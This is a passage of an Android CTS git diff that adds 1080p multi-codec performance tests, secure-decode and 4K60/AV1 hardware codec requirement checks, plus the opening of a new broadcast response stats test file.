-                " Time for (create + configure + start + first frame to enqueue) in ns: " +
-                (enqueueTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to dequeue) in ns: " +
-                (dequeueTimeStamp - baseTimeStamp));
-        long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
-        return timeToConfigureMs;
-    }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index ec27bf9..4e82515 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -16,6 +16,7 @@
 
 package android.mediapc.cts;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
 
 import static org.junit.Assert.assertTrue;
@@ -25,9 +26,11 @@
 import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
 import android.media.MediaFormat;
 import android.mediapc.cts.common.Utils;
+import android.os.Build;
 import android.util.Log;
 import android.util.Pair;
 
+import org.junit.Assume;
 import org.junit.Before;
 
 import java.io.IOException;
@@ -49,6 +52,7 @@
     static ArrayList<String> mMimeList = new ArrayList<>();
     static Map<String, String> mTestFiles = new HashMap<>();
     static Map<String, String> m720pTestFiles = new HashMap<>();
+    static Map<String, String> m1080pTestFiles = new HashMap<>();
 
     static {
         mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
@@ -57,14 +61,18 @@
         m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
         m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
 
-        // Test VP9 and AV1 as well for Build.VERSION_CODES.S
-        if (Utils.isSPerfClass()) {
+        // Test VP9 and AV1 as well for Build.VERSION_CODES.S and beyond
+        if (Utils.getPerfClass() >= Build.VERSION_CODES.S) {
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
 
             m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
             m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
         }
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
     }
 
     String mMime;
@@ -86,6 +94,11 @@
 
     // Returns the list of hardware codecs for given mime
     public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder) {
+        return getHardwareCodecsForMime(mime, isEncoder, false);
+    }
+
+    public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder,
+            boolean allCodecs) {
         // All the multi-instance tests are limited to codecs that support at least 1280x720 @ 30fps
         // This will exclude hevc constant quality encoders that are limited to max resolution of
         // 512x512
@@ -93,7 +106,7 @@
         fmt.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
         ArrayList<MediaFormat> formatsList = new ArrayList<>();
         formatsList.add(fmt);
-        return selectHardwareCodecs(mime, formatsList, null, isEncoder);
+        return selectHardwareCodecs(mime, formatsList, null, isEncoder, allCodecs);
     }
 
     // Returns the max number of 30 fps instances that the given list of mimeCodecPairs
@@ -160,4 +173,30 @@
         }
         return REQUIRED_MIN_CONCURRENT_INSTANCES;
     }
+
+    boolean isSecureSupportedCodec(String codecName, String mime) throws IOException {
+        boolean isSecureSupported;
+        MediaCodec codec = MediaCodec.createByCodecName(codecName);
+        isSecureSupported = codec.getCodecInfo().getCapabilitiesForType(mime).isFeatureSupported(
+                FEATURE_SecurePlayback);
+        codec.release();
+        return isSecureSupported;
+    }
+
+    boolean codecSupportsPP(String codecName, String mime, PerformancePoint reqPP)
+            throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(codecName);
+        List<PerformancePoint> suppPPs =
+                codec.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities()
+                        .getSupportedPerformancePoints();
+        assertTrue("Performance point not published by codec: " + codecName, suppPPs != null);
+        boolean codecSupportsReqPP = false;
+        for (PerformancePoint pp : suppPPs) {
+            if (pp.covers(reqPP)) {
+                codecSupportsReqPP = true;
+            }
+        }
+        codec.release();
+        return codecSupportsReqPP;
+    }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 31c069f..832f9d0 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.mediapc.cts.common.Utils;
 import android.os.Build;
@@ -55,6 +56,7 @@
 @RunWith(Parameterized.class)
 public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiDecoderPairPerfTest.class.getSimpleName();
+    private static final int REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE = 3;
 
     private final Pair<String, String> mFirstPair;
     private final Pair<String, String> mSecondPair;
@@ -74,7 +76,7 @@
         final List<Object[]> argsList = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
             for (String decoder : listOfDecoders) {
                 mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
             }
@@ -102,6 +104,9 @@
     @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
     public void test720p() throws Exception {
         Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+                        isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
 
         boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
                 mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
@@ -109,6 +114,69 @@
         testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
     }
 
+    /**
+     * This test calculates the number of 1080p 30 fps decoder instances that the given two
+     * (mime - decoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+                        isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
+        testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
+    /**
+     * Validates if hardware decoder pairs where one or both supports secure decode and required
+     * perf are present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    // TODO(b/218771970) Add @CddTest annotation
+    public void testReqSecureDecodeSupport() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        Assume.assumeTrue("Skipping secure decode support tests if both are non-secure codecs",
+                isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+                        isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
+
+        MediaCodecInfo.VideoCapabilities.PerformancePoint reqSecurePP =
+                new MediaCodecInfo.VideoCapabilities.PerformancePoint(1920, 1080, 30);
+
+        MediaCodecInfo.VideoCapabilities.PerformancePoint reqNonSecurePP =
+                new MediaCodecInfo.VideoCapabilities.PerformancePoint(1920, 1080,
+                        30 * REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE);
+
+        boolean codecSupportsReqPP = codecSupportsPP(mFirstPair.second, mFirstPair.first,
+                isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ? reqSecurePP :
+                        reqNonSecurePP);
+
+        codecSupportsReqPP &= codecSupportsPP(mSecondPair.second, mSecondPair.first,
+                isSecureSupportedCodec(mSecondPair.second, mSecondPair.first) ? reqSecurePP :
+                        reqNonSecurePP);
+
+
+        if (Utils.isTPerfClass()) {
+            assertTrue(
+                    "Required Secure Decode Support required for MPC >= Android T, unsupported " +
+                            "codec pair: " + mFirstPair.second + "," + mSecondPair.second,
+                    codecSupportsReqPP);
+        } else {
+            DeviceReportLog log =
+                    new DeviceReportLog("MediaPerformanceClassLogs", "SecureDecodeSupport");
+            log.addValue("Req Secure Decode Support pair: " + mFirstPair.second + "," +
+                    mSecondPair.second, codecSupportsReqPP, ResultType.NEUTRAL, ResultUnit.NONE);
+            // TODO(b/218771970) Log CDD sections
+            log.setSummary("MPC 13: Secure Decode requirements", 0, ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
         mTestFiles = testFiles;
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 1c1aeea..803ec62 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
 import android.media.MediaFormat;
 import android.mediapc.cts.common.Utils;
 import android.os.Build;
@@ -53,6 +54,7 @@
 @RunWith(Parameterized.class)
 public class MultiDecoderPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiDecoderPerfTest.class.getSimpleName();
+    private static final int REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES = 2;
 
     private final String mDecoderName;
 
@@ -68,7 +70,7 @@
     public static Collection<Object[]> inputParams() {
         final List<Object[]> argsList = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
             for (String decoder : listOfDecoders) {
                 for (boolean isAsync : boolStates) {
                     argsList.add(new Object[]{mime, decoder, isAsync});
@@ -88,12 +90,60 @@
     @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
     public void test720p() throws Exception {
         Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
-
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mDecoderName, mMime));
         boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
         int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
         testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
     }
 
+    /**
+     * This test validates that the decoder can support at least 6 concurrent 1080p 30fps
+     * decoder instances. Also ensures that all the concurrent sessions succeed in decoding
+     * with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mDecoderName, mMime));
+        testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
+    /**
+     * Validates if hardware decoder that supports required secure decode perf is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    // TODO(b/218771970) Add @CddTest annotation
+    public void testReqSecureDecodeSupport() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        Assume.assumeTrue("Skipping secure decode support tests for non-secure codecs",
+                isSecureSupportedCodec(mDecoderName, mMime));
+
+        PerformancePoint reqPP =
+                new PerformancePoint(1920, 1080, 30 * REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+
+        boolean codecSupportsReqPP = codecSupportsPP(mDecoderName, mMime, reqPP);
+
+        if (Utils.isTPerfClass()) {
+            assertTrue(
+                    "Required Secure Decode Support required for MPC >= Android T, unsupported " +
+                            "codec: " + mDecoderName, codecSupportsReqPP);
+        } else {
+            DeviceReportLog log =
+                    new DeviceReportLog("MediaPerformanceClassLogs", "SecureDecodeSupport");
+            log.addValue("Req Secure Decode Support: " + mDecoderName, codecSupportsReqPP,
+                    ResultType.NEUTRAL, ResultUnit.NONE);
+            // TODO(b/218771970) Log CDD sections
+            log.setSummary("MPC 13: Secure Decode requirements", 0, ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
         mTestFile = testFiles.get(mMime);
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
index edc2d6c..01e68d3 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
@@ -109,6 +109,20 @@
         testCodec(720, 1280, 4000000, requiredMinInstances);
     }
 
+    /**
+     * This test calculates the number of 1080p 30 fps encoder instances that the given two
+     * (mime - encoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in encoding.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
     private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
             throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
index 3a2f1d9..28c7fbd 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
@@ -94,6 +94,18 @@
         testCodec(720, 1280, 4000000, requiredMinInstances);
     }
 
+    /**
+     * This test validates that the encoder can support at least 6 concurrent 1080p 30fps
+     * encoder instances. Also ensures that all the concurrent sessions succeed in encoding.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
     private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
             throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
index d7d8445..9312637 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
@@ -119,6 +119,21 @@
         testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
     }
 
+    /**
+     * This test calculates the validates number of concurrent 1080p Transcode sessions that
+     * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
+     * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
+     * to surface and render. And ensures that all the supported sessions succeed in
+     * transcoding/decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-5,H-1-6")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES / 2);
+    }
+
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
         mTestFiles = testFiles;
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
new file mode 100644
index 0000000..0afc209
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.media.MediaFormat.MIMETYPE_VIDEO_AV1;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaFormat;
+import android.mediapc.cts.common.Utils;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class VideoCodecRequirementsTest {
+    private static final String LOG_TAG = VideoCodecRequirementsTest.class.getSimpleName();
+    private static final String FILE_AV1_REQ_SUPPORT =
+            "dpov_1920x1080_60fps_av1_10bit_film_grain.mp4";
+
+    private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
+        Set<String> codecSet = new HashSet<>();
+        Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+        PerformancePoint PP4k60 = new PerformancePoint(3840, 2160, 60);
+        for (String codecMediaType : codecMediaTypes) {
+            ArrayList<String> hwVideoCodecs =
+                    selectHardwareCodecs(codecMediaType, null, null, isEncoder);
+            for (String hwVideoCodec : hwVideoCodecs) {
+                MediaCodec codec = MediaCodec.createByCodecName(hwVideoCodec);
+                CodecCapabilities capabilities =
+                        codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
+                List<PerformancePoint> pps =
+                        capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+                for (PerformancePoint pp : pps) {
+                    if (pp.covers(PP4k60)) {
+                        codecSet.add(hwVideoCodec);
+                        Log.d(LOG_TAG,
+                                "Performance point 4k60 supported by codec: " + hwVideoCodec);
+                        break;
+                    }
+                }
+                codec.release();
+            }
+        }
+        return codecSet;
+    }
+
+    /**
+     * Validates AV1 hardware decoder is present and supports: Main 10, Level 4.1, Film Grain
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    // TODO(b/218771970) Add @CddTest annotation
+    public void testAV1HwDecoderRequirements() throws Exception {
+        MediaFormat format = MediaFormat.createVideoFormat(MIMETYPE_VIDEO_AV1, 1920, 1080);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, 60);
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+        ArrayList<String> av1HwDecoders =
+                selectHardwareCodecs(MIMETYPE_VIDEO_AV1, formats, null, false);
+        boolean oneCodecDecoding = false;
+        for (String codec : av1HwDecoders) {
+            Decode decode = new Decode(MIMETYPE_VIDEO_AV1, FILE_AV1_REQ_SUPPORT, codec, true);
+            double achievedRate = decode.doDecode();
+            if (achievedRate > 0) {
+                oneCodecDecoding = true;
+            }
+        }
+        if (Utils.isTPerfClass()) {
+            assertTrue("One AV1 HW decoder with supported features required for MPC >= Android T",
+                    oneCodecDecoding);
+        } else {
+            int pc = oneCodecDecoding ? Build.VERSION_CODES.TIRAMISU : 0;
+            DeviceReportLog log =
+                    new DeviceReportLog("MediaPerformanceClassLogs", "VideoCodecRequirements");
+            log.addValue("AV1DecoderFeatureSupport", oneCodecDecoding, ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            // TODO(b/218771970) Log CDD sections
+            log.setSummary(
+                    "Video Codec Requirements: AV1 HW decoder: Main 10, Level 4.1, Film Grain", pc,
+                    ResultType.HIGHER_BETTER, ResultUnit.NONE);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+
+    /**
+     * Validates if a hardware decoder that supports 4k60 is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    // TODO(b/218771970) Add @CddTest annotation
+    public void test4k60Decoder() throws IOException {
+        Set<String> decoderSet = get4k60HwCodecSet(false);
+        boolean oneCodecSupportsRequiredPerformance = !decoderSet.isEmpty();
+
+        if (Utils.isTPerfClass()) {
+            assertTrue("At least one 4k60 HW decoder required for MPC >= Android T",
+                    oneCodecSupportsRequiredPerformance);
+        } else {
+            int pc = oneCodecSupportsRequiredPerformance ? Build.VERSION_CODES.TIRAMISU : 0;
+            DeviceReportLog log =
+                    new DeviceReportLog("MediaPerformanceClassLogs", "VideoCodecRequirements");
+            log.addValue("4k60DecodeHW", oneCodecSupportsRequiredPerformance, ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            // TODO(b/218771970) Log CDD sections
+            log.setSummary("Video Codec Requirements: 1 HW video decoder supporting 4K60", pc,
+                    ResultType.HIGHER_BETTER, ResultUnit.NONE);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+
+    /**
+     * Validates if a hardware encoder that supports 4k60 is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    // TODO(b/218771970) Add @CddTest annotation
+    public void test4k60Encoder() throws IOException {
+        Set<String> encoderSet = get4k60HwCodecSet(true);
+        boolean oneCodecSupportsRequiredPerformance = !encoderSet.isEmpty();
+
+        if (Utils.isTPerfClass()) {
+            assertTrue("At least one 4k60 HW encoder required for MPC >= Android T",
+                    oneCodecSupportsRequiredPerformance);
+        } else {
+            int pc = oneCodecSupportsRequiredPerformance ? Build.VERSION_CODES.TIRAMISU : 0;
+            DeviceReportLog log =
+                    new DeviceReportLog("MediaPerformanceClassLogs", "VideoCodecRequirements");
+            log.addValue("4k60EncodeHW", oneCodecSupportsRequiredPerformance, ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            // TODO(b/218771970) Log CDD sections
+            log.setSummary("Video Codec Requirements: 1 HW video encoder supporting 4K60", pc,
+                    ResultType.HIGHER_BETTER, ResultUnit.NONE);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+}
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
index 8a5d528..0e794d0 100755
--- a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
@@ -28,6 +28,7 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.quickaccesswallet.NoPermissionQuickAccessWalletService;
 import android.quickaccesswallet.QuickAccessWalletActivity;
@@ -69,6 +70,7 @@
  * Tests parceling of the {@link WalletCard}
  */
 @RunWith(AndroidJUnit4.class)
+@AppModeFull
 public class QuickAccessWalletClientTest {
 
     private static final String SETTING_KEY = "lockscreen_show_wallet";
diff --git a/tests/tests/app.usage/OWNERS b/tests/tests/app.usage/OWNERS
index c81bc52..1913ea2 100644
--- a/tests/tests/app.usage/OWNERS
+++ b/tests/tests/app.usage/OWNERS
@@ -4,3 +4,4 @@
 yamasani@google.com
 per-file NetworkUsageStatsTest.java = file:/tests/tests/net/OWNERS
 per-file CacheQuotaHintTest.java = lpeter@google.com
+per-file *Broadcast* = sudheersai@google.com
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/BroadcastResponseStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/BroadcastResponseStatsTest.java
new file mode 100644
index 0000000..98f8ca9
--- /dev/null
+++ b/tests/tests/app.usage/src/android/app/usage/cts/BroadcastResponseStatsTest.java
@@ -0,0 +1,1987 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts;
+
+import static android.Manifest.permission.ACCESS_BROADCAST_RESPONSE_STATS;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_CLASS;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_CLASS_BROADCAST_RECEIVER;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_CLASS_SERVICE;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_PKG;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+import static android.provider.DeviceConfig.NAMESPACE_APP_STANDBY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.app.BroadcastOptions;
+import android.app.Notification;
+import android.app.PendingIntent;
+import android.app.UiAutomation;
+import android.app.usage.BroadcastResponseStats;
+import android.app.usage.UsageStatsManager;
+import android.app.usage.cts.UsageStatsTest.TestServiceConnection;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.media.session.MediaSession;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.util.ArrayMap;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(UsageStatsTestRunner.class)
+public class BroadcastResponseStatsTest {
+
+    private static final String TEST_APP3_PKG = "android.app.usage.cts.test3";
+    private static final String TEST_APP4_PKG = "android.app.usage.cts.test4";
+
+    private static final long TEST_RESPONSE_STATS_ID_1 = 11;
+    private static final long TEST_RESPONSE_STATS_ID_2 = 22;
+
+    private static final String TEST_NOTIFICATION_CHANNEL_ID = "test-channel-id";
+    private static final String TEST_NOTIFICATION_CHANNEL_NAME = "test-channel-name";
